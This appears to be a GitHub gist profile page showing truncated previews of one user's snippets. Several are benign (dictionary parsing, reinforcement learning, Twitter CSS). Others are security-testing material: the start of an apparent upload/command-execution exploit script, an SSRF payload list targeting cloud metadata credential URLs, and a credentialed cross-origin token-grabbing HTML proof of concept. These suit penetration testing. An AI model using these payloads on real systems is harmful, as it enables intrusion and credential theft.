Skip to content

Instantly share code, notes, and snippets.

View simonuvarov's full-sized avatar

Simon simonuvarov

View GitHub Profile
{
"project_options":{
"connections":{
"hostname_resolution":[],
"out_of_scope_requests":{
"drop_all_out_of_scope":false,
"exclude":[
{
"enabled":true,
"file":"logout",
import requests
from sys import argv
import base64
def main():
url = 'http://' + argv[1] + '/admin/ajax.php?module=music&command=upload'
cmd = argv[2]
multipart_form_data = {
'extension': (None, '0'),
@simonuvarov
simonuvarov / cloud_metadata.txt
Created August 17, 2019 04:32 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
<html>
<head></head>
<body>
<textarea class='token' style="width: 800px; height: 250px;"></textarea>
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('POST','{url}',true);
req.withCredentials = true;
req.setRequestHeader('Content-Type', "application/x-www-form-urlencoded")
@simonuvarov
simonuvarov / 0dedict.py
Created September 10, 2020 08:25 — forked from josephg/0dedict.py
Apple dictionaries
# Thanks to commenters for providing the base of this much nicer implementation!
# Save and run with $ python 0dedict.py
# You may need to hunt down the dictionary files yourself and change the awful path string below.
# This works for me on MacOS 10.14 Mohave
from struct import unpack
from zlib import decompress
import re
filename = '/System/Library/Assets/com_apple_MobileAsset_DictionaryServices_dictionaryOSX/9f5862030e8f00af171924ebbc23ebfd6e91af78.asset/AssetData/Oxford Dictionary of English.dictionary/Contents/Resources/Body.data'
f = open(filename, 'rb')
@simonuvarov
simonuvarov / self-sampling.py
Created February 15, 2023 18:58
A Python script used to self-sample your energy levels
import os
import sys
import time
import numpy as np
import requests
from dotenv import load_dotenv
load_dotenv()
import gym
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torch.distributions import Categorical
env = gym.make('CartPole-v1')
@simonuvarov
simonuvarov / twitter.css
Last active November 9, 2023 10:30
CSS rules to remove clutter from Twitter UI
/* Navigation items I don't use */
div[aria-label="Trending"],
a[href="/i/articles"],
a[href="/simonuvarov/communities"],
a[href="/i/verified-orgs-signup"]
{
display: none;
}
/* Twitter logo */